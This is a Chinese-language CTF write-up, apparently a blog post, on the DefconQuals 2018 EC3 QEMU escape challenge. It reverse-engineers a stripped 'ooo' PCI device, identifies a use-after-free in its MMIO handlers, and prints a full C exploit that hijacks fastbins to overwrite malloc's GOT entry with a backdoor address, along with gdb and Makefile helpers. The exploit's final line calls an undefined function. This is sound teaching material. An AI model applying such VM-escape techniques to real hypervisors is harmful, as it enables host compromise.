DefconQuals-2018-EC3

在这里插入图片描述
设备应该就是ooo

在这里插入图片描述
关键在于去了符号表。

run.sh没跑起来
ldd 一下
在这里插入图片描述
发现缺一大堆库。

其实关键就在于我用的是ubuntu20.04,但是原题目好像是16.04.
然后16.04的很多库都取消掉了,所以我们除了一个一个下载库,另外一个好的方法就是直接用ubuntu16.04.
在这里插入图片描述那显然就跑了起来。

符号表去了,我们只能按照经验来找对应的函数。
推荐直接打开一个有符号表的题,然后对照着来。
比如
在这里插入图片描述
所以我们先搜一个 ooo_class_init

在这里插入图片描述这样就找到了我们的init

那个6E64A5应该是realize
在这里插入图片描述我们注意到它只用了memory_region_init_io一次,用来整mmio,所以这道题是没有pmio的。

通过pci_ooo_realize函数可以确定mmio的空间大小为0x1000000。
0xB63300地址为ooo_mmio_ops对应的结构体。

我们通过这个结构体
确定0x6E613C为ooo_mmio_read函数以及0x6E61F4为ooo_mmio_write函数
在这里插入图片描述
通过ooo_instance_init字符串可以确定0x6E6732为ooo_instance_init函数。

搜索字符串
0x47D731函数为memory_region_init_io
在这里插入图片描述
确定0x6E613C为ooo_mmio_read函数以及0x6E61F4为ooo_mmio_write函数。

然后就都找到了。

现在我们来分析程序。

ooo_mmio_read在这里插入图片描述根据我们之前做过的一个qemu逃逸的源码
在这里插入图片描述可以看得出a1是个指针,a2是addr,a3是size。

可以看到(addr & 0xF0000u)为idx。当(addr & 0xF00000u) >> 20不为15时,将global_buf[idx] + offset中的数据拷贝出来赋值给dest,否则dest为0x42069,返回dest。

ooo_mmio_write
在这里插入图片描述在这里插入图片描述
再次根据另一个题源码

从该函数中可以看出根据addr & 0xf00000来进行选择。addr & 0xf0000为idx,这似乎变成了一个堆的菜单题:
cmd 为0时,进行malloc分配,分配的size为传入的value * 8值,分配出来的指针保存到全局变量global_buf[idx]中。
cmd为1时,调用free函数释放掉global_buf[idx]。
cmd为2时,将value写入到global_buf[idx] + offset中。

很明显可以看到这里的uaf漏洞,释放了以后并没有清空指针,形成漏洞。

我们看具体利用过程

首先是qemu的heap确实不好控制。
在这里插入图片描述
找到他的id
在这里插入图片描述我们在ooo_class_init结构体里面很明显看到他的id

在这里插入图片描述
所以在

/sys/devices/pci0000:00/0000:00:04.0/resource

文件看他mmio内存

我们正式研究思路
首先要将里面清空一下
在这里插入图片描述
然后因为qemu会在运行过程中去不断的申请释放堆块,所以我们根据爆破的思想对每一条链表都进行劫持。

然后因为我们的bss上已经伪造好了fastbin的chunk,我们直接劫持。
劫持好以后改成malloc的got表。
在这里插入图片描述

然后malloc一下就可以了。

在这里插入图片描述
缺个flag文件。反正是通了。

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;


void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

void mmio_malloc(uint8_t idx, uint32_t size)
{
    size = size/8;

    uint32_t addr=(idx<<16)|(0<<20);
    uint32_t value=size;
    mmio_write(addr,value);
}

void mmio_free(uint8_t idx)
{
    uint32_t addr=(idx<<16)|0x100000;
    uint32_t value=0;

    mmio_write(addr, value);
}

void mmio_edit(uint8_t idx, uint16_t offset, uint32_t data)
{
    uint32_t addr=(idx<<16)|(0x200000)|(offset);
    uint32_t value =  data;

    mmio_write(addr, value);
}
int main(int argc, char *argv[])
{
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem: %p\n", mmio_mem);

    mmio_malloc(0, 0x68);
    mmio_malloc(1, 0x68);
    mmio_malloc(2, 0x68);
    mmio_malloc(3, 0x68);
    mmio_malloc(4, 0x68);
    mmio_malloc(10, 0x68);

    mmio_free(0);
    mmio_edit(0, 0, 0x131798d);
    mmio_edit(0, 4, 0); 

    for(int i=0; i<10; i++) {
        mmio_malloc(i, 0x68);
    }

    for(int i=0; i<10; i++){
        mmio_edit(i, 0, 0x78000000); //malloc_got
        mmio_edit(i, 4, 0x1130B);
    }

    uint32_t backdoor = 0x6e65f9;
    mmio_edit(12, 0, backdoor); //backdoor
    mmio_edit(12, 4, 0);

    mmio_add(0, 0x68) //get flag
}

偷的是t1an5t师傅的exp,做了稍微的修改。
要膜一波大佬。

师傅说最后不停getflag是因为循环起来了
我倒感觉这是qemu在不断的申请chunk。
在这里插入图片描述申请完就挂掉了。

首先调试方法我们给出两种。

第一种写一个gdb脚本,gdb启动它。

这个文件就叫debug

file qemu-system-x86_64
b *0x6E613C 
b *0x6E61F4
set $a = 0x1317940
run -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic -kernel ./vmlinuz-4.4.0-119-generic -append "priority=low console=ttyS0" -device ooo

在这里插入图片描述
第二种就是gdb贴上去。

首先启动qemu
在这里插入图片描述
然后拿到qemu进程号
在这里插入图片描述在这里插入图片描述要用root

在这里插入图片描述启动gdb

直接贴到进程上面
在这里插入图片描述
然后启动exp

或者我们想exp跑到一半的时候去查看,就exp中加个pause。
然后exp跑起来再贴,一个道理。

最后说一下文件的上传。
这个是根据网上的师傅改进的一个makefile。
使用方法是

在这里插入图片描述首先现在文件系统这个目录下再建个目录。

然后把exp.c,跟这个Makefile放进去,make一下就可以了。
原理呢就是

首先gcc编译exp.c
然后把前面的目录的文件系统拿进去
解压
文件系统提取出来
把之前的文件系统压缩包删掉
就把当前目录文件再次打包起来
压缩好
这个文件系统里面已经有exp了
然后再复制出去。

ALL:
	gcc -O0 -static -o exp exp.c
	cp ../initramfs-busybox-x86_64.cpio.gz ./
	gunzip ./initramfs-busybox-x86_64.cpio.gz
	cpio -idmv < ./initramfs-busybox-x86_64.cpio
	-rm ../initramfs-busybox-x86_64.cpio.gz
	-rm ./initramfs-busybox-x86_64.cpio
	find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio
	cd .. && gzip initramfs-busybox-x86_64.cpio

参考
https://tianstcht.github.io/Q%E4%B9%8B%E9%80%83%E9%80%B8-%E8%B4%B0%E4%B9%8B%E5%9E%8B-DefconQuals-2018-EC3/

https://ray-cp.github.io/archivers/qemu-pwn-DefconQuals-2018-EC3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值